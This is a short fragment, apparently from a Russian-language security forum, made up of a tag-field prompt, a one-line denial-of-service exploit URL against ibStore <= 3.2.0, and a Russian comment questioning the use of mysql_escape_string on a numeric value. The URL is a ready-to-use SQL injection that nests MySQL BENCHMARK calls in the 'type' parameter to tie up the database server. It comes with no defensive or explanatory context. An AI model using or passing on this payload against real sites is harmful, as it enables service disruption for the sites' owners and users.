Separate names with a comma.
ibStore <= 3.2.0 DOS http://target/index.php?autocom=store&CODE=item_effect&type=resell,BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))
А зачем число ещё и mysql_escape_string'ом обрабатывать?
